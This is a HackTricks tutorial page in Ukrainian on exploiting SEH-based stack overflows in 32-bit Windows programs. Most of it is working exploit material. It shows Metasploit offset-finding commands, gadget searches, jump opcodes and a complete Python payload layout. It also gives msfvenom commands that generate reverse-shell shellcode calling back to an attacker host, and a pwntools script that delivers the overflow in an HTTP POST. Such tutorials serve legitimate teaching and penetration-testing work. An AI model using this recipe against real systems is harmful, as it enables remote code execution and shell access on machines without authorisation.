Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
Reading time: 6 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
SEH-based exploitation — це класична техніка для x86 Windows, яка зловживає ланцюжком Structured Exception Handler, що зберігається в стеку. Коли переповнення буфера на стеку перезаписує два 4-байтові поля
- nSEH: вказівник на наступний запис SEH, та
- SEH: вказівник на функцію обробника винятків
нападник може отримати контроль над виконанням шляхом:
- Встановлення SEH на адресу POP POP RET гаджета в непідзахищеному модулі, так що коли виняток буде оброблено, гаджет поверне виконання до байтів, контрольованих нападником, та
- Використання nSEH для перенаправлення виконання (зазвичай короткий стрибок) назад у великий переповнений буфер, де знаходиться shellcode.
Ця техніка специфічна для 32-бітних процесів (x86). На сучасних системах віддавайте перевагу модулю без SafeSEH та ASLR для пошуку гаджета. Небажаними часто бувають символи 0x00, 0x0a, 0x0d (NUL/CR/LF) через C-strings та парсинг HTTP.
Знаходження точних зсувів (nSEH / SEH)
- Викличте падіння процесу і підтвердіть, що ланцюжок SEH перезаписано (наприклад, у x32dbg/x64dbg перевірте SEH view).
- Надішліть циклічний патерн як дані для переповнення і порахуйте зсуви двох dword'ів, які потрапляють у nSEH та SEH.
Приклад з peda/GEF/pwntools для 1000-байтового POST body:
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
Валідуйте, розміщуючи маркери в тих позиціях (наприклад, nSEH=b"BB", SEH=b"CC"). Тримайте загальну довжину сталою, щоб зробити краш відтворюваним.
Вибір POP POP RET (SEH gadget)
Вам потрібна послідовність POP POP RET, щоб розгорнути SEH рамку і повернутися до ваших nSEH байтів. Знайдіть її в модулі без SafeSEH і, бажано, без ASLR:
- Mona (Immunity/WinDbg):
!mona modules
потім!mona seh -m modulename
. - x64dbg plugin ERC.Xdbg:
ERC --SEH
щоб показати список POP POP RET gadgets і статус SafeSEH.
Виберіть адресу, яка не містить badchars при записі у little-endian (наприклад, p32(0x004094D8)
). Віддавайте перевагу гаджетам всередині vulnerable binary, якщо protections дозволяють.
Jump-back technique (short + near jmp)
nSEH має лише 4 байти, що вміщує щонайбільше 2-байтовий short jump (EB xx
) плюс padding. Якщо потрібно відскочити назад на сотні байтів, щоб дістатися початку буфера, використайте 5-байтовий near jump, розташований безпосередньо перед nSEH, і зв'яжіть його коротким стрибком з nSEH.
With nasmshell:
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
Ідея макета для 1000-byte payload з nSEH на offset 660:
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
Execution flow:
- Виникає виняток, диспетчер використовує перезаписаний SEH.
- POP POP RET призводить до переходу в наш nSEH.
- nSEH виконує
jmp short -8
, переходячи в 5-байтовий near jump. - Near jump потрапляє на початок нашого буфера, де знаходиться NOP sled + shellcode.
Погані символи
Зберіть повний рядок badchar і порівняйте пам'ять стеку після краху, вилучаючи байти, які спотворюються парсером цілі. Для переповнень, що базуються на HTTP, \x00\x0a\x0d
майже завжди виключені.
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
Shellcode generation (x86)
Використовуйте msfvenom із вашими badchars. Невеликий NOP sled допомагає витримати невеликі відхилення при попаданні.
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
Якщо генерувати на льоту, hex-формат зручний для вбудовування й розкодування в Python:
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
Передача через HTTP (precise CRLF + Content-Length)
Коли вразливий вектор — тіло HTTP-запиту, сформуйте сирий запит з точними CRLFs і Content-Length, щоб сервер прочитав весь вміст тіла запиту, який переповнюється.
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
Інструменти
- x32dbg/x64dbg — для перегляду ланцюга SEH і тріажу crash'у.
- ERC.Xdbg (x64dbg plugin) — щоб перерахувати SEH gadgets:
ERC --SEH
. - Mona як альтернатива:
!mona modules
,!mona seh
. - nasmshell — для складання short/near jumps та копіювання raw opcodes.
- pwntools — для створення точних network payloads.
Примітки та застереження
- Застосовується лише до процесів x86. x64 використовує іншу схему SEH, і експлуатація на основі SEH зазвичай не є життєздатною.
- Надавайте перевагу гаджетам у модулях без SafeSEH і ASLR; інакше знайдіть незахищений модуль, завантажений у процес.
- Watchdog-и сервісів, які автоматично перезапускаються після crash, можуть спростити ітеративну розробку експлойтів.
Посилання
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)
- Corelan – Exploit writing tutorial part 7 (SEH)
- Mona.py – WinDbg/Immunity helper
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.